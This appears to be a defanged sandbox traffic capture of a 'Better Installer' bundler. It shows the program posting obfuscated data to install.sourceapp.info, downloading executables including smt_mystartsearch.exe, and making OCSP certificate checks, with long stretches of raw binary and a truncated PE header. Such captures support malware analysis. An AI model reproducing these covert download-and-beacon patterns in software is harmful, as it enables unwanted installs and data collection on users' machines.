duFe6ZEmmDv/tGGgBO gOrop/Ztpw2aM6zL0EaPuW6g7i5505Rj45zz9TNqjSrgpxKY9tH
mkpGnUW5PXLKQepNBy8RewiSGJdamhcele67wpq26j70DkQL7rJLgUrvYfqGfGv27zP/fn
MPlH Kdchx6n6S 6R6KvNtQewsU6pxmlvCn6E/7AKtA7oPUy71K54z6tfqLEDfMXsq087F
jxthH eNmoL6xT3tgK2ACX7UmFAe3xc/l4qLlzmAPU0yOpB7LCT8wA/dALiXS1r3 uUPq1
P7pFptREqg 1vHK6TeD/S/pkyrlo8if3/yzqAIGhTIgZqfEvtFmyr1SXA9jXKIsDpP14vk
j00iOPfOmvOv9C7LY4uyn930DkRr7lPLMZo/lHqDvdv3jzDLroe ZGmfUA0FmnpzCrTvPw
OL484vZv5Emx/2f0UKiRApV6t Ig40DvhRaIYqndTv9Gh5VdoxOw/13 V8y/fv8e M8F2k
zSoUqQFOm/FYdqv75zuhjWxii6Se28Zf0e59YBnXSgr2niU/e1Zv1uv8lE60G rUi3Dbf/
EbBv3KFhulPw/CvsR/WuTY0D4JAhvki66CCQFt3SKORJqO136x3g123Gf6ThIOkKubwyvm
izmxv8R66sY/oa4PNXqDuQ9SG0Be/jPK0YmYdytyKn/2urSqWiOMxVwtg vByk/3jA
<<< skipped >>>

POST /mg?alpha=bRBzElF2ChIQKy8oXDheUlkxAVQzewhbViIkWw== HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

User-Agent: WinHttpClient

Content-Length: 246

Host: install.sourceapp.info



alpha=bRBzElEpb1USMnV0XDheUlkxAVQzA3cuERYdLhUPOBReRBQuLyRpOGkmGWIDRANrNCxpEwAUZ3kUPzwzbDMSYy5yEjEGUzg ERIEB0NcKF4vDHVDDXsVJnNRG35xTU1rQS8ZVDhsc3k/b1JvFAAxBnZHLW1wRFMeMktiTwI5U1JDKgMSOwtXNkljHQYQGgV9WSgIYx5LdhYwOw9Ic3BGHC1MJgRIOWxxeD5uUF95KiRIeRs=
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 17 Dec 2014 16:44:43 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..
Content-Type: text/plain..Expires: -1..Server: Microsoft-IIS/7.5..X-As
pNet-Version: 4.0.30319..SVR: SP003C2..X-Powered-By: ASP.NET..p3p: CP=
"CAO PSA OUR"..Date: Wed, 17 Dec 2014 16:44:43 GMT..Content-Length: 0.
.


GET /css?family=Abel HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/css

Timing-Allow-Origin: *

Expires: Wed, 17 Dec 2014 16:47:45 GMT

Date: Wed, 17 Dec 2014 16:47:45 GMT

Cache-Control: private, max-age=86400

Content-Length: 155

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=0.02
@font-face {.  font-family: 'Abel';.  font-style: normal;.  font-weigh
t: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq9
2S8_9w.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Timing-Allow-O
rigin: *..Expires: Wed, 17 Dec 2014 16:47:45 GMT..Date: Wed, 17 Dec 20
14 16:47:45 GMT..Cache-Control: private, max-age=86400..Content-Length
: 155..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X
-XSS-Protection: 1; mode=block..Server: GSE..Alternate-Protocol: 80:qu
ic,p=0.02..@font-face {.  font-family: 'Abel';.  font-style: normal;. 
 font-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT
2a1878zysq92S8_9w.eot);.}...


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=14143976-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 8486385

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 14143976-22630360/22630361
...c..}.....).......c...g....B....J......5|C...}.E.b..."}.81.........&
gt;...&._V. |6..`...R...k..R.......7.OR..r.L5...tnY.e)F....QS..Y...U.v
.M...IcN....\...R;{.P>.....ci..-3.Z.......j2....s... e~...R.<T..
-....Z.3H.|q..5,.Q.V.......;P K.{...9....R?Q....|fe.R...lX...2.g...-.8
....a..2.&......l...4|.P.M*.Yl.q...1lp.Y.3..."4~...%.........aNM.E....
..3: ...vK..#h...R...9..- .B...b.Mfm..C`.L'^..P...NJ ......."T I......
9.'....S.>..Vr...J..e`Y^......4.....c....]_..W.9.r,....n....5..5F..
....4...a.1......M#u.w>I...=v......Z..Z|.....A...(etXHN..R.d]......
....7...k..t...9Ko..b......"......G...=<.p...D."'.,........A..k.^.L
......^>.C.....x.a........O.BN..&...^..j*..:.g..I.rQ:.SR#E.UH.....4
......iN":..m........T .....N....,.!~.....y......,..d.f.e.'.p......k..
..L..6....MY.."P\.e..ck.~5JU.I.A. N....J)p:...f..j...s........Jub=....
MpL.S.[SRH.......8^[email protected].].H....=i.Z.D..<,.A.\rm....'.
.._:>.!p.7fJ}......;9....*3..wy...B.....&.k?......m#..z.....X.=.[..
i..c.=2..P....C.t.0&.o.._'6..).U.1....gP...k....l.Vj.Y..'A"o......d.xS
Y.d..p..g}W.....{\WG#..@...!...u.[C..#V..r..j.,.fc.%....X~ru..B..G...Q
......p.U.gr4......e...k=V_v..q...a.P..ZR.W}_......2.9<.]V.k...2J.Z
.J....Y...b...6.......-r.JxDR.X/T...(w.0...^.}.,..nz..h.}..!Y.........
~....S..aK.<ox.....:..N>O..>P.bf..t....Y.....Dd\.........9...
Q3..u...#.2.v.>&n.*..._..'J'>..r...@"u..b!d..Kc.$g...X..?1;.9.C&
gt;....1zo...y.a.........9J...'.C.3.i=..&e.}'.}3M...l.V40<s2.w>%
j{..i..../...0Z...................R....}........y...H.=]....I!o...
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com




HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=510729

Content-Type: application/ocsp-response

Date: Wed, 17 Dec 2014 16:44:58 GMT

Etag: "5491833a-1d7"

Expires: Wed, 24 Dec 2014 04:44:58 GMT

Last-Modified: Wed, 17 Dec 2014 13:20:58 GMT

Server: ECS (ams/49E4)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2014121
6200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
.....S.&.._.....on..]....`....pQJ..Xc.zG.........p.H...%.>..U....R#
...~.........?. #L....^.=|[email protected]/.G*..X.....O.yT.&e.|.._
...PK8 ...*5s.O....n....aF|U............>...]=...w....K.w......\.h\
..>...h!.(.>.-...7.$3...u.............VN....yk..#.P.e..g.HTTP/1.
1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=510729..Content
-Type: application/ocsp-response..Date: Wed, 17 Dec 2014 16:44:58 GMT.
.Etag: "5491833a-1d7"..Expires: Wed, 24 Dec 2014 04:44:58 GMT..Last-Mo
dified: Wed, 17 Dec 2014 13:20:58 GMT..Server: ECS (ams/49E4)..X-Cache
: HIT..Content-Length: 471..0..........0..... .....0......0...0.......
.P5V.L.f........=.U..20141216200000Z0s0q0I0... .........Q..2...}Q.....
.b.U.....P5V.L.f........=.U...........z....@7....20141216200000Z....20
141223200000Z0...*.H.............S.&.._.....on..]....`....pQJ..Xc.zG..
.......p.H...%.>..U....R#...~.........?. #L....^.=|..F...=K.@......
...p/.G*..X.....O.yT.&e.|.._...PK8 ...*5s.O....n....aF|U............&g
t;...]=...w....K.w......\.h\..>...h!.(.>.-...7.$3...u...........
..VN....yk..#.P.e..g.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com




HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=513227

Content-Type: application/ocsp-response

Date: Wed, 17 Dec 2014 16:44:59 GMT

Etag: "549184fa-1d7"

Expires: Wed, 24 Dec 2014 04:44:59 GMT

Last-Modified: Wed, 17 Dec 2014 13:28:26 GMT

Server: ECS (ams/D1B3)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0.......q.7.s.......4. Z.....2014121
7131300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20141217131300Z....20141224132800Z0...*.H........
.....(...!$8..P-o4EA.......G.c.e.Exa0.....Y.*.z.[.....(-..%....n_v..U.
x...&.)vJk......3.3 .o9R..g.Jps....Yi$.{&\_z2.....c.G..)gM.F."y......|
y...<h....X!=..k....<......*.N..WO....(y.('..! x.'0.An...t...gw.
..g....."N<[email protected]/1.1 2
00 OK..Accept-Ranges: bytes..Cache-Control: max-age=513227..Content-Ty
pe: application/ocsp-response..Date: Wed, 17 Dec 2014 16:44:59 GMT..Et
ag: "549184fa-1d7"..Expires: Wed, 24 Dec 2014 04:44:59 GMT..Last-Modif
ied: Wed, 17 Dec 2014 13:28:26 GMT..Server: ECS (ams/D1B3)..X-Cache: H
IT..Content-Length: 471..0..........0..... .....0......0...0.......q.7
.s.......4. Z.....20141217131300Z0s0q0I0... ........ ......%.:EUvf.U..
.3...q.7.s.......4. Z......M.q.......d...,....20141217131300Z....20141
224132800Z0...*.H.............(...!$8..P-o4EA.......G.c.e.Exa0.....Y.*
.z.[.....(-..%....n_v..U.x...&.)vJk......3.3 .o9R..g.Jps....Yi$.{&\_z2
.....c.G..)gM.F."y......|y...<h....X!=..k....<......*.N..WO....(
y.('..! x.'0.An...t...gw...g....."N<u...h..y5I..$A...N.OX.4.W......
[email protected]...
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1697

content-transfer-encoding: binary

Cache-Control: max-age=389191, public, no-transform, must-revalidate

Last-Modified: Mon, 15 Dec 2014 04:54:07 GMT

Expires: Mon, 22 Dec 2014 04:54:07 GMT

Date: Wed, 17 Dec 2014 16:47:48 GMT

Connection: keep-alive
0..........0..... .....0......0...0...A0?1=0;..U...4VeriSign Class 3 C
ode Signing 2004 CA OCSP Responder..20141215045407Z0s0q0I0... ........
[email protected].!......Q...==d6|h.[x....7..`..........cV.!.....201412
15045407Z....20141222045407Z0...*.H.............O.1.P*........i..]w.. 
..P.Z.....4....t#..LzE8>.4".....:..t9..eUg.U....1..J\=.'...I....?,.
mr. |4<I..!..........Vd...m. ......H[x.1H./........f).........}....
[email protected]....)>..Z..`$.p9.E..p...y..;4.n
^.o.........Q....p..3.,..Lz>...3.....0...0...0..{.........[..I|....
.Zm..0...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0...U..
..VeriSign Trust Network1;09..U...2Terms of use at hXXps://VVV.verisig
n.com/rpa (c)041.0,..U...%VeriSign Class 3 Code Signing 2004 CA0...140
428000000Z..150729235959Z0?1=0;..U...4VeriSign Class 3 Code Signing 20
04 CA OCSP Responder0.."0...*.H.............0.........Y....h..@..>.
....%.-.....O...' y.........x..Gw.xF.....?..Z..u,.X.&..........3C..H.l
.....f..;]s!.\"v...|....][email protected]. ..W..
..n..*..-f?EY.......UN...r...........-_.%..,P;b.....)(.P.4...,.%....&l
t;..6.....[r^X.EV..S...5#'Y.. .TD...........0...0...U.......0.0...U.%.
.0... .......0...U...........0... .....0......0f..U. ._0]0[..`.H...E..
..0L0#.. .........hXXps://d.symcb.com/cps0%.. .......0...hXXps://d.sym
cb.com/rpa0!..U....0...0.1.0...U....TGV-B-1080...U......"...?....`>
q..i1o...0...U.#..0.....Q...==d6|h.[x....70...*.H.............B8@.$..w
o......E.....P52"b*@'C\.y.(...n....h.f..7f.....v...pb<...]..|..
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 291880

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-291879/291880
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
...._.<....._.>....._.?.x.....b.........$....0"......08.......f.
.....0=.....Rich............PE..L.....dT..............................
[email protected].....@.................
.................c.......................V..(........!..P...8.........
...................>..@............................................
text............................... ..`.rdata.........................
.....@[email protected]... y...p...X...`[email protected]................
...............@[email protected][email protected]...........
......................................................................
......................................................................
......................................................................
......................................................................
......................................................U...E..8.u.3.]..
[email protected]. .].U..QQ. xC.3..E..E.V...&..f......t.....u.j..M..2....M.....
........M...3.^.........U..V...G....E..t.V.....Y..^]........j....B....
.....}.3.S.u.......]..^..^..^..^.3..^.f.F..^.f.F .^$.^(.^,.^0.E....u(.
E.P.M..E...C..i...h.SC..E.P.E...B......WV.$...YY..........V..WV.Y....~
,.Yt..v,.....Y3..~,9~$t..v$.....Y.~$9~.t..v......Y.~.9~.t..v......Y.~.
9~.t..v......Y.~.9~.t..v......Y.~._..^.D...U..V.u............B...^]...
U...E..V....T.B.t.V.8...Y..^]...U..QQ. xC.3..E.V...>.u&j..M....
<<< skipped >>>


GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/js/lightbox.js.pagespeed.jm.87aPq22TFLOpRo_q8qwK.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Content-Type: application/x-javascript

Date: Wed, 17 Dec 2014 16:04:46 GMT

Expires: Wed, 16 Dec 2015 18:03:00 GMT

ETag: W/"0"

Last-Modified: Tue, 16 Dec 2014 18:03:00 GMT

X-Page-Speed: 123_1_rr

Content-Encoding: gzip

Content-Length: 2072

X-XSS-Protection: 1; mode=block

Age: 2579

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
...........Y{o.8..*>.QJ....8,.*....m.A...P..l@K...,...$.....)Z.G...
...p...g.C...E.YY..~G..<.b.5_.......M<...{K...3.}..<.:L0....2
......X..........,W.h.2.[...lh.3...*V...../}......8?..I.R.a.9Y.\!z..s.
.......5...gE|......p.Ts....._%.......Uo...i..R...>.]..............
.%..........d.S..M......@..`.....;1....i..e.>. .&..,..BD>.4.....
6...v.(..4.K..........7.^Q.X.3.7.\?..4....H......2e.W^.g..2,.;Z......d
.....|g..1...*Z.G,^.....o.....eYp..ZO........ ....1...:0..S.tg0...}.0:
.BdiO.>NB...#65ur..D.(.....R....X.Oa...7..."..yRs..A.b.YJ.....l....
....i[<.G.3...m.......d..5K.z.).O].E?Mm.a..9.O..L....@D8.}.R.`..l.&
..........-^f...M..X.%...7../.......-&.S.!.E6P.)v.K..!.......:?..U....
,......0...yY.w9-...f...W*......^..:.d^44...g....K...!J....X..,g.....N
i.......|.a...v..6.H.5..Gc.....yW.....5A..pL....d.,....w.x.N..m.......
.... ....h@RP V.....s!....^.{.................y.P.....>....T.. ...K
A..b......n...}.....[.e.w..;}....,>.t.a.I1D....I.2.o..`ahfE.^.."$;.
W@.'UN.y .....z@2./.?.z..3n.;......f.;M....mZB....i....5....>.KR...
...$0..<.-.F9.........d..Xv...=..~.jY...S...k.Tb.t...A..F.N.W..w.6F
..Rt.>".h....=..qA.gr.Z.T>......:[email protected].}rV.6..W/..c.E..fP..3..
....5......;W.gK.E.)5.NV...............q..W:).QzF>.UNQ.gO.N....%.&l
t;.*9/[email protected].... .T..I....h...;.............j.b..0.[.
 q..A..#x..."5.......e.U..9.n..^.;.].?.P.....z>....].g.......0....\
....-.m.`'....].. .r...06.....VT.-..W...{...6.U.^X.Cx.k..<...W.W.C.
a.&...Y_e....P~.6.`....D9>..jh..?%][email protected]....
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/banner/images/assets/b/4/303x148xb43daeae6aca6ab7d6a00084494d81db.png.pagespeed.ic.nnrPCPy1PfNzw7bPygU_.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 16:05:12 GMT

Expires: Wed, 16 Dec 2015 18:25:57 GMT

ETag: W/"0"

Last-Modified: Tue, 16 Dec 2014 18:25:57 GMT

X-Original-Content-Length: 198243

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 69100

Age: 2553

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR.../.........M.8... .IDATx...i.m.u.....t....{.....1. A
...A.HQ.$Q.%K..*..].,.......N...;J.Q*...b...D..$S....A.3.&.._.}.3.....
{o..=....R)..Ow.s.>g...Z...uP......._.5./.. ...'.........#......}..
.N..........."/v9.0..0K.......3T..Y.Ykws...B`.................Z..o.. .
.1M...f..:Ky...m.#...Z.....].(...(j7...........k.w6.........cG..&.1..C
C.]l.|}.f"f...BD(...D\......v....w..........x..;..6.[....F.t.....nrgGf
......o...m.....u..b..z.W.....x...]........XX..&..=B..fp......{.......
.......V......=.. pp5..-13........2....7.%..7uqq..L.{...f..!0.......m.
%^7,.0hD..va(.......72.?.....1...?^ov.A...6........m...t=v..kx[.(...w.
i].....].H..,q...M..}^.....P....xt$7^........0..)....9P&&..;..h......x
./..:..w.......-..W.7....&......m.V.'..... .f.!`. .&..Gg.....F..Es.Q .
z...L.9`.........F . ..-...z......u.|`.J.w..i8...p{w...]_.@!..h.......
.......C .Ns....NY..#.L.K.q......x...w..(o0.;..@...!...[..`.........P.
.sw...S.........3...L/|...|...{.A^[email protected]....
.<............F.7..c.;......jd.(RYf............D.7..m....bu.f.|..x.
.....OQ#N.ox.7..'e..=...c...I..G#..e.;D.../......l...N...o...1{.p.....
......`..........0z...03^/6...y..ePRXG..:..........w..I..)...ts.4.R.M.
....D..U..>.........U.t.]....!...9....!..w.jv.U^.sc...H...R..f4...C
m$A..[^......B..(.@DD..<.oq.{P#.<Dkv.7ffw.......3W... *rt....{..
P.m..v..v.sb......<.b..I..i..]....m...7...3......0..V7.O.. ....&)..
...`..4.....8G.-....uAd..H.{[email protected].......,...Ya...V&l
t;l.....|... k.7.}B.._..7.. Fu.7.|.....}.Ez..L..[[email protected]
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/images/4.5stars.jpg.pagespeed.ce.FnZJEV2PTVMznvHxrh21.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 15:59:53 GMT

Expires: Thu, 17 Dec 2015 09:57:16 GMT

ETag: W/"0"

Last-Modified: Wed, 17 Dec 2014 09:57:16 GMT

X-Original-Content-Length: 2275

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 2275

Age: 2872

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C50CBA34D0FE11E2A837F7F58
4958E09" xmpMM:InstanceID="xmp.iid:C50CBA33D0FE11E2A837F7F584958E09" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!.......1"a2B34AQ.bc.............
........!..1A....a2...Qq."BR%.b#...3.$............?...3...y{....oT..w.
..W<.>V....*....e..,..X}P....O..d...<.......5MuV6.w.3....o/q$
Tb."*.[.K..J...h.....]..........\v.-I..f.$~...H.........Z.....U33\.7.J
.N.GA<-..-.....RK...L..}..........i..[.V.m.k.v.T..ze.b[.u..2...6"..
..).q....?.:.n#t&..g..`.."*.D.;.. ..1'..2...L.*....eTIW.LOtaAO.`&l
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/images/5.0stars.jpg.pagespeed.ce.c5Mw3vRCV9Ep78xfmv43.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 15:59:55 GMT

Expires: Thu, 17 Dec 2015 09:57:16 GMT

ETag: W/"0"

Last-Modified: Wed, 17 Dec 2014 09:57:16 GMT

X-Original-Content-Length: 2286

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 2286

Age: 2870

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E712C81ACD1411E29568FF5E7
C4F2C36" xmpMM:InstanceID="xmp.iid:E712C819CD1411E29568FF5E7C4F2C36" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!..."..12BA&Qq.b3c...............
......!...1A..a2....Q"B%q.R.#.b.$..............?....3s....b.v..Q@...\g
.F^.v.G.`$.*.yAiX.........?o.%<........OST.n.m...:?.Q.W2EF*"".....F
./.....w.tl.!..=..I-J.U^J.R.Y...y.j.B.}Z"_S..0.~..xT.f.Q..W"x.:...X>
;.O/../.%zO.......f.~x*.O..D.$X....w..ZJ..o)'.Kq.|.E..Qr.T2bPu..1..x?N
j...!59.yK...B"[email protected].$.u..dI&..Vg..2.$..&'..X..\<.....h....
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/images/3.0stars.jpg.pagespeed.ce.NdTKoZKg7fpUU9HjqHGP.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 15:59:54 GMT

Expires: Thu, 17 Dec 2015 09:57:16 GMT

ETag: W/"0"

Last-Modified: Wed, 17 Dec 2014 09:57:16 GMT

X-Original-Content-Length: 2022

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 2022

Age: 2871

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C0AD31E0CD1411E28C01DE2AF
24957C3" xmpMM:InstanceID="xmp.iid:C0AD31DFCD1411E28C01DE2AF24957C3" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.........................................!..1...Aa"2qB3Q..Rbc$&.......
................!1A...a2....Qq."BR%...b..#...$............?....Y..n...
VN\..(.Yy..........L...\.(- ..V|.....3......N.*..6i<MSJ.X.".,..isy{
."....U......%t.6..W~..d.......IjP...T........#V..[..%.`.f._....Si....
.W"t.:...B=./.....%...E36e..3i^..a'.}h..E.Q..Wy........r...G.tQIU.!.C&
%.\.s.....s0M.n..s,[email protected]..$......&UD.{..z...?...n
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/8/3/78x78x83a4cee7a59522b93ed0ae1fa73ce8f3.png.pagespeed.ic.fC57HngUEG5e6KKP2pds.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

